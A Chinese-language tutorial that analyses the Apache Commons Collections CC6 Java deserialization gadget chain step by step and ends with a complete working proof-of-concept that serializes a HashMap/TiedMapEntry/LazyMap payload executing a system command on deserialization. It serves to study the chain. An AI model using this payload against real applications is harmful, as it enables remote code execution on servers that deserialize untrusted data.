前言
你学得真晚!
jdk8u71后修复了sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑导致cc1链子不可用
于是有了cc6
如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS
参考:
《java安全漫谈》
环境要求
无版本限制
简化利用链
依旧是p牛的利用链
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
类似于tp链子,解决Java高版本利用问题,实际上就是在找上下文中是否还有其他调用LazyMap#get()
的地方
但是只是单纯右键 get 方法查找用法的话,调用 get 的可太多太多了。。。java安全,实际可怕!
先复习一下 LazyMap 弹计算器的写法:
package com.example.cc6;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class LazyMapExec {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}
TiedMapEntry
这里我们的目标类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
方法中调用了map.get
package org.apache.commons.collections4.keyvalue;
import java.io.Serializable;
import java.util.Map;
import org.apache.commons.collections4.KeyValue;
/**
* A {@link java.util.Map.Entry Map.Entry} tied to a map underneath.
* <p>
* This can be used to enable a map entry to make changes on the underlying
* map, however this will probably mess up any iterators.
* </p>
*
* @param <K> the type of keys
* @param <V> the type of mapped values
* @since 3.0
*/
public class TiedMapEntry<K, V> implements Map.Entry<K, V>, KeyValue<K, V>, Serializable {
/** Serialization version */
private static final long serialVersionUID = -8453869361373831205L;
/** The map underlying the entry/iterator */
private final Map<K, V> map;
/** The key */
private final K key;
/**
* Constructs a new entry with the given Map and key.
*
* @param map the map
* @param key the key
*/
public TiedMapEntry(final Map<K, V> map, final K key) {
this.map = map;
this.key = key;
}
// ...
/**
* Gets the key of this entry
*
* @return the key
*/
@Override
public K getKey() {
return key;
}
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
@Override
public V getValue() {
return map.get(key);
}
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
@Override
public int hashCode() {
final Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
// ...
作用域是 public,不需要反射获取方法,可以直接调用 getValue,参数是构造方法里面获取的key
package com.example.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class TiedMapEntryExec {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, transformerChain);
// 调用 get
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
}
}
可以成功弹出计算器
所以,要触发 LazyMap 利用链,就要用map.get
代替AnnotationInvocationHandler.invoke.get
接上链子
接下来找找在哪里调用了TiedMapEntry#getValue()
,因为 getValue()
这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况
很容易发现同名函数下的 hashCode()
方法调用了 getValue()
方法
@Override
public int hashCode() {
final Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
如果我们在实战里面,在链子中找到了 hashCode()
方法,说明我们的构造已经可以“半场开香槟”了
HashMap触发调用hashCode
我们看一下 ysoserial 的 gadget
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
这里是利用java.util.HashSet#readObject
到HashMap#put
再到HashMap#hash
,最后到TiedMapEntry#hashCode
实际上,跟过urldns链就可以知道,在java.util.HashMap#readObject
中可以找到HashMap#hash
的调用,所以我们可以去掉前面两次调用
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden
stuff
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the
HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
之前的urldns链那里已经知道,在hash方法中会调用key.hashCode
所以,我们只需要让这个 key 等于TiedMapEntry
对象,即可连接上前面的分析过程,构成⼀个完整的 Gadget
于是接上前面的链子:
package com.example.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HashMapExec {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
// 调用 getValue
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
}
}
PS:如果下个断点的话会发现在HashMap<Object, Object> expMap = new HashMap<>();
这一行就弹计算器了,这是因为IDEA的一个小坑
因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用
toString()
方法,所以在创建TiedMapEntry
的时候,就自动调用了getValue()
最终将链子走完,然后弹出计算器
解决办法:在 IDEA 的偏好设置中修改“启用 toString() 对象视图”(二编:貌似上面那个“启用集合类的替代视图”也要去掉)
构造gadget
有了前面的逐步分析就好理解多了
先构造LazyMap
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(fakeTransformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, transformerChain);
为了避免本地调试时提前触发命令执行,我们可以用⼀个人畜无害的 fakeTransformers 对象,等最后要生成Payload的时候,再用反射把真正的 transformers 替换进去
现在我们拿到了一个恶意的 LazyMap 对象lazyMap
,将其作为 TiedMapEntry 的map属性
TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");
为了调用TiedMapEntry#hashCode
,把这个 tme 对象作为 HashMap 的一个key,这里需要新建一个 HashMap ,和LazyMap链子里面的那个没有任何关系
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
最后,将这个 expMap 作为对象来序列化
// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
这样子运行之后无事发生,因为在反序列化的时候此时map.containsKey(key) == true
,key = "keykey"
这是因为我们前面为了防止立刻触发发命令执行使用了fakeTransformers,导致 LazyMap 这个利用链被重新调用了一遍,影响到了最后命令执行那里
解决的办法就是再移除这个key即可:outerMap.remove("keykey")
最终poc
package com.example.cc6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}